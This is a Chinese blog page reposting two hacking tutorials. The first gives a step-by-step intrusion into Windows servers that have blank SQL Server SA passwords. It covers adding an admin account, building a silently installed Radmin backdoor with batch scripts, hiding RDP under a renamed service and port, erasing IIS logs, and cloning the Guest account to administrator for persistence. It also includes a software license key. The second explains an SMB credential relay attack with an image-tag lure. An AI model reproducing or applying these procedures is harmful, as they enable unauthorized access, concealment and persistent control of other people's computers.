星期三, 二月 28, 2007

高手全面解析入侵3389全部流程

高手全面解析入侵3389全部流程

作者:网页教学网

【简 介】

  这是本人多年下来的经验。

工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码:

08US9A95I+lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA

6A5KKZRHc5GVMIybWomK6rNwoj8mYy8LXRFi23);SC.exe port.bat query.exe quser.exe(隐藏3389服务及不让管理发现自己程序);CleanIISLog.exe(小榕的擦PP程序);3389.exe(开3389端口服务的);psu.exe(使用被禁止的Guest帐户要用到的);mstsc.exe(远程桌面连接程序)。

一.扫到SA弱口令(自动攻击器)

二.用SQLTOOLS连上去建一个用户

net start telnet

开telnet服务

net user mint mint /add

添加用户mint密码为

mint net localgroup administrators mint /add

将帐号mint升级为管理员

三.上传后门程序RAD.EXE(RADMIN服务端自解压程序)

制作RAD.EXE过程:

1、到Radmin安装目录下找到AdmDll.dll、 raddrv.dll和r_sever.exe;

2、在本地设置服务端(一定要生成);

设置密码-->>设置连接端口(默认4489)-->>生成

3、导出注册表HKEY_LOCAL_MACHINE\SYSTEM\Radmin的键值为1.reg;

4、编写一个批处理,并命名为u.bat;

@echo offnet stop r_server

5、写第二个批处理,r.bat,内容为:

@echo off@Explorer.exe /

uninstall /silence@Explorer.exe /install /

silence@regedit /s 1.reg@echo off@Explorer.exe /uninstall /

silence@Explorer.exe /install /silence@regedit /

s 1.reg@net start r_server@del

rad.exe@del 1.reg@del r.bat@del u.bat

6、将AdmDLL.dll raddrv.dll Explorer.exe(r_sever.exe改名) u.bat r.bat压缩成Rad.RAR压缩包;

7、将Rad.rar制作成自解压文件;

选择Default.sfx的自释放模块-->>高级自释放选项

-->>常规

释放路径:%systemroot%\system32

安装程序:释放后运行:r.bat 释放前运行u.bat

-->>摸式

缄默模式:全部隐藏 覆盖方式:覆盖所有文件

-->>确定-->>确定

生成完成。

四.用RADMIN客服端连接

上传文件到c:\WINNT(XP是windows):

port.bat(如果是在XP下,这个要把里面的WINNT改为Windows)

query.exe quser.exe

SC.exe

CleanIISLog.exe.exe

3389.exe

psu.exe

最好再上传一个反弹后门RADMIN进入TELNET。

运行c:\winnt\3389.exe,重启肉鸡。

五.重启后用远程桌面远程器连上去

这里就有时会出现个问题。

使用3389登陆,发现登陆用户已满,不用怕,我们把他踢出去。

telnet对方ip,发现需要 NTLM 身份验证。我们在自己的电脑里建立一个帐号mint密码为mint身份为管理员。

找到c:\winnt\system32\cmd.exe 建立一个快捷方式到桌面。修改cmd的快捷方式属性为允许其他身份登陆。然后运行桌面上的cmd.exe的快捷方式。输入帐号mint密码mint,telnet对方ip,直接可以登陆对方电脑了。

使用命令:

c:\query user (查看对方目前终端登陆状况。)

运行命令:

c:\logoff 1(踢出去一个管理者)

再用c:\query user检查一便~~(这就是为什么不马上用1.bat了)

六.连上后..在cmd下运行

c:\winnt\log . 自己的IP .(擦PP)

c:\winnet\1.bat (删除覆盖查看当前在线用户文件)

七.打SA空口令补丁

程序-->>Microsoft SQL Server-->>查询分析器(有放大镜的)

-->>Windowst身位验证登陆

复制一下代码:SELMIS

if exists (select * from dbo.sysobjects where id

= object_id(N\’[dbo].[xp_cmdshell]\’)

and OBJECTPROPERTY(id, N\’IsExtendedProc\’)

= 1) exec sp_dropextendedproc N\’[dbo].[xp_cmdshell]\’GO

按F5(运行),关了退出SQL Server再用SQL Server身位验证进一次,退出(这是为了不留下记录)。

八.改3389端口和服务名称

修改服务器端的端口设置,注册表有2个地方需要修改。

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp],PortNumber值,默认是3389,选择10进制,修改成所希望的端口,比如1314。

第二个地方:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] PortNumber值,默认是3389,选择10进制,修改成所希望的端口,比如1314。

要重启系统才能用新端口连。(不急..改了他的服务名再重启系统吧)

导出3389服务的

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]

的键值为mm.reg文件。编辑mm.reg文件,替换TermService为Alerter(错误警告服务..别的服务也行) 。再把第十行的"Description"="(这里是服务说明,改为你所换的服务说明,这里改为通知所选用户和计算机有关系统管理级警报。)"第十一行的"DisplayName"="(这里是服务名称,改为你所换的服务名称,这里改为Alerter)。保存,再导入注册表(这里要先运行Services.msc(可在CMD下打这命令)服务管理器..把Alerter的服务先停止)。

再在CMD下

CD c:\winnt\

system32 copy termsrv.exe service.exe

(这里是复制termsrv.exe为Alerter服务文件名差不多的文件)

CD C:\winnt sc \\127.0.0.1 config Alerter binpath=

c:\winnt\system32\service.exe

(这里是从新定向Alerter服务文件.服务名一定要区分大小写A要大写)

九.注消后(注消比直接关要好些)用Radmin重启肉鸡

十.使用被禁用的帐户[Guest]登陆,删除自己开始建的帐号

1.使用psu.exe展开注册表到

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users

用法:[psu -p regedit -i pid]

Pid 的值为在任务栏空白处点右键-->>任务管理器--->>进程中的winlogon.exe后面的数值就是PID数值。

如:psu –p regedit –i 157

将Guest克成管理员权限,克成管理员权限的方法:

找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator的类型值。

在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\下找到这个类型值在复制数值名为F的数值数剧覆盖相应的Guest的类型值(找的方法一样)。

导出Guest的配置(也就是导出HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Guest和他相应的类型值的数据),然后删除Guest的配置。

2.查看计算机管理中帐户列表,刷新这时候会出现错误[找不到帐户](跳过这步也行)。

3.将Guest的配置(二个REG文件导进注册表)。

4.修改Guest帐户密码,命令行下禁用Guest帐户[一定是命令行下]。

net user Guest ****

[修改密码]net user Guest /

active:yesnet user Guest /active:no[命令行下禁用Guest]

5.实验被禁止的帐户Guest是否可用。

6.用Guest登陆后删除自己建的帐号。

net user mint /del

整个过程结束。

最后最好把RADMIN的服务也改了,多留个后门多条路,呵呵。整个过程全部结束,这机子就真正变成你的肉鸡了。

黑客实战 系统泄露密码入侵攻击分析

作者:korn 来源:赛迪网技术社区 

WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。

下面是SMB的密码认证方式。

WINDOWS的139口的访问过程,箭头表示数据方向:

1.客户端<--------------------建立TCP连接----------------->服务端

2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

3.客户端<---------服务器认证方式、加密用的key等-----------服务端

认证方式就是用户级认证还是共享级认证和密码加密不,key是服务器随机生成的8个字节,WIN2000已经支持16个字节的 key。

4.客户端--------------用户名、加密后密码----------------->服务端

WIN9X、WINNT、WIN2000这有个漏洞,不经过提示等就把当前用户名,密码加密后发过去了,导致密码泄漏。这儿加密是DES的变形,lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY,key是作为DES变形的待加密数据。

5.客户端<---------------认证成功否-----------------------服务端

WINDOWS客户端第4步有漏洞,显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定,因为这是服务方提供的,usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆,但已经可以用暴力法破解了,也已经有了这样的程序。其实我们有时并不一定要得到密码明文的,只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用,我们反过去访问看看,telnet、ftp等连接要密码明文我们得到的lockedpass不能提供,那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西,那现在就是站在客户端了,再看前面那过程,显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定,大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.

好我们再仔细看看连接过程,别人连接两步1、2:

1.客户端<--------------------建立TCP连接----------------->服务端

2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

下面就该

3.客户端<---------服务器认证方式、加密用的key等-----------服务端

这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11,22,33共3步(为了区分连接回去的步子用重号表示)才能得到key2,显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问,这可能有时间超时等处理,或者等到任意IP连接NETBIOS服务后马上连回去,反正怎么处理方便、满足需要就怎么处理。

下面显然就是设置 key=key2返回3,那就等4得到lockedpass了,第5步嘛就你自由处理了,要不返回密码错误,后面就是44、55……

总的来就是1,2,11,22,33,3,4,5,44,55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了,能干什么那就看那用户的权限了。

注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器,这好办,邮件或者主页等里面来个

IMGsrc”="file://ip/filename" ...

就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向),用端口重定向程序把来向139口定向回去,找另一个WINNT机器用\\ip访问那重定向139口的机器,结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了,只是由于没有客户端的处理界面不能操作。(T002)

没有评论:

推广链接